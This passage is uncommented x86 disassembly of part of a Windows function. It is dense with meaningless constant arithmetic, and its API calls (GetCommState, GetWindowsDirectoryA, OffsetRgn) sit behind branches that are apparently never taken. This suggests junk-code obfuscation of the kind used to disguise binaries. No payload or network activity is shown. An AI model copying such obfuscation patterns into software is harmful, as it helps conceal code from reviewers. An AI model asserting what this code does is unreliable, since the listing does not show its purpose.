cmp eax, 0x6cc9
mov eax, dword [esp + 0x1c]
setle cl
add ecx, edx
xor edx, edx
imul ecx, ecx, 0x56e7
cmp ecx, eax
setle dl
cmp edx, 4
sbb ecx, ecx
xor edx, edx
neg ecx
imul ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x14]
neg ecx
cmp ecx, eax
mov eax, dword [esp + 0x7c]
setl dl
xor ecx, ecx
cmp edx, dword [eax + esi*4]
setle cl
mov dword [esp + 0x20], ecx
jmp 0x1001a4f3
mov dword [esp + 0x20], ebx
xor edx, edx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x7c]
cmp dword [eax + ecx*4], ebx
mov eax, dword [esp + 0xc]
sete dl
xor ecx, ecx
cmp eax, 0xfffffffa
setl cl
imul ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
sub edx, eax
xor eax, eax
cmp ecx, edx
setg al
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp dword [esp + 0x5c], ebx
je 0x1001a509
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
sub eax, 0xad21dd8e
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x4681c37f
mov eax, dword [esp + 0x7c]
setg dl
sub edx, dword [eax + ecx*4]
xor ecx, ecx
mov eax, dword [esp + 0x5c]
cmp edx, eax
setl cl
cmp ecx, 0xe56979f9
jne 0x1001a565
mov dword [esp + 0x10], ebx
jmp 0x1001a555
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x58], edi
mov dword [esp + 0x20], edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ebx
jle 0x1001a545
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], eax
jmp 0x1001a56d
mov dword [esp + 0x20], 0xc5a258d3
inc dword [esp + 0xc]
cmp dword [esp + 0xc], ebx
jle 0x1001a42f
dec dword [esp + 0x14]
jns 0x1001a3fa
lea ecx, [esp + 0x7c]
call fcn.10017c88
mov byte [esp + 0x1b], bl
mov eax, 0x177e8edf
mov dword [esp + 0x15c], eax
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], eax
mov dword [esp + 0x168], eax
mov dword [esp + 0x10], ebx
push 3
mov dword [esp + 0x14], ebx
pop esi
cmp dword [esp + 0x10], esi
jg 0x1001a5f9
push 0xfffffffffffffff7
pop eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x14], esi
jg 0x1001a5ef
mov eax, dword [esp + 0x10]
cmp dword [esp + eax*4 + 0x15c], ebx
jne 0x1001a5ec
inc dword [esp + 0x14]
cmp dword [esp + 0x14], esi
jle 0x1001a5d5
push 0xfffffffffffffff7
pop eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jle 0x1001a5c7
cmp byte [esp + 0x1b], 0
je 0x1001a932
push 0x5e6
push ebx
push 0x3c43
call fcn.1001e3fa
mov dword [esp + 0x1c], 0xca4f833f
add esp, 0xc
mov dword [esp + 0x28], 0xfffffffa
mov dword [esp + 0x20], 0xfffffffc
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x24], 8
mov dword [esp + 0x10], ebx
jmp 0x1001a651
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x34], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x1001a641
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1001a66a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x10], ebx
cmp dword [esp + 0x10], ebx
jg 0x1001a932
push 0xfffffffffffffff7
pop eax
mov dword [esp + 0xc], 0x77dd6887
lea ecx, [esp + 0x12c]
mov dword [esp + 0x2c], eax
push 4
call fcn.100173c8
mov dword [esp + 0x14], ebx
jmp 0x1001a6b1
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x12c]
mov dword [eax + ecx*4], 0xd0fe1f23
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 4
jl 0x1001a69b
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], ebx
jl 0x1001a801
mov esi, dword [esp + 0x12c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x24], 0xcea0262b
mov dword [esp + 0x24], 0xcd1ad70
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, edi
setge dl
sub edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
neg edx
sbb edx, edx
inc edx
add edx, dword [esp + eax*4 + 0x34]
mov eax, dword [esp + 0xc]
imul edx, dword [esp + eax*4 + 0x34]
xor eax, eax
sub edx, 0x297c5811
cmp edx, 0xe469
setle al
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + eax*4 + 0x34]
cmp dword [esp + 0xc], 0x339b
jle 0x1001a744
mov eax, ebx
cmp dword [esp + 0x28], ebx
je 0x1001a746
mov eax, edi
imul eax, eax, 0x782e
test eax, eax
je 0x1001a754
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x28]
xor ecx, ecx
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x20]
cmp eax, 0xcb2d
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0xc]
setge cl
mov dword [esi + 0xc], ecx
xor edx, edx
mov eax, dword [esp + eax*4 + 0x34]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + eax*4 + 0x34]
mov eax, dword [esp + 0xc]
cmp ecx, eax
mov eax, dword [esp + 0x10]
setge dl
sub edx, dword [esp + eax*4 + 0x34]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x24], edx
xor edx, edx
cmp dword [esp + 0x24], 0x360e5697
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x24]
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ebx
cmp dword [esp + 0x1c], ebx
jl 0x1001a7f7
mov dword [esp + 0x28], 0xb2d4ad4
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1001a7f1
push 0x1d25
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec dword [esp + 0x1c]
jns 0x1001a7d2
dec dword [esp + 0xc]
jns 0x1001a6cd
lea ecx, [esp + 0x12c]
call fcn.10017c88
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ebx
jle 0x1001a678
jmp 0x1001a92f
push 0xfffffffffffffff7
pop eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x10], ebx
jmp 0x1001a85e
mov dword [esp + 0x1c], 0x97eede0b
mov dword [esp + 0x20], 0x891c5534
mov dword [esp + 0x1c], 0xffffffea
jmp 0x1001a853
mov dword [esp + 0x24], ebx
inc dword [esp + 0x24]
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x11
je 0x1001a847
dec dword [esp + 0x10]
cmp dword [esp + 0x10], 0xfffffffc
jg 0x1001a82d
mov dword [esp + 0x88], 0xffffffff
mov dword [esp + 0x14], 0xffffffff
mov dword [esp + 0x24], 0xfffffffe
mov dword [esp + 0x14], 0x15
jmp 0x1001a8f1
mov dword [esp + 0x10], edi
mov dword [esp + 0x24], 0x2cb3a3fc
mov dword [esp + 0x20], 0x1510afbd
mov dword [esp + 0x10], 0xffffffe6
jmp 0x1001a8e6
mov dword [esp + 0x20], 0xef054a20
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x20]
neg ecx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
sbb ecx, ecx
neg ecx
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
imul eax, dword [esp + 0x10], 0x8de6
mov dword [esp + 0x20], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xfffffff2
jg 0x1001a8a8
dec dword [esp + 0x14]
cmp dword [esp + 0x14], 0xffffffe3
jne 0x1001a88a
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x98]
push eax
lea eax, [esp + 0x48]
push eax
push ebx
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x58]
push 0x691b
push eax
call fcn.1001ba0e
add esp, 0x24
push 3
pop esi
dec dword [esp + 0x30]
cmp dword [esp + 0x30], 0xfffffff9
jg 0x1001a0a6
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x1c], ebx
cmp dword [esp + 0x1c], 2
jge 0x1001a9aa
push 0xfffffffffffffff7
pop esi
mov dword [esp + 0x20], 0xffff
mov dword [esp + 0x10], 0xfab8c3ad
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0x10], 0xf
jmp 0x1001a999
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x1001a995
push 0x1a40
push 0x2ca
push ebx
call dword [sym.imp.GDI32.dll_OffsetRgn]
dec dword [esp + 0x10]
cmp dword [esp + 0x10], esi
je 0x1001a979
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 2
jl 0x1001a957
mov eax, dword [esp + 0xa4]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, dword [esp + 0x38]
mov esi, edx
mov edi, eax
call fcn.100192f6
mov ecx, dword [esp + 0x204]
add eax, esi
add eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret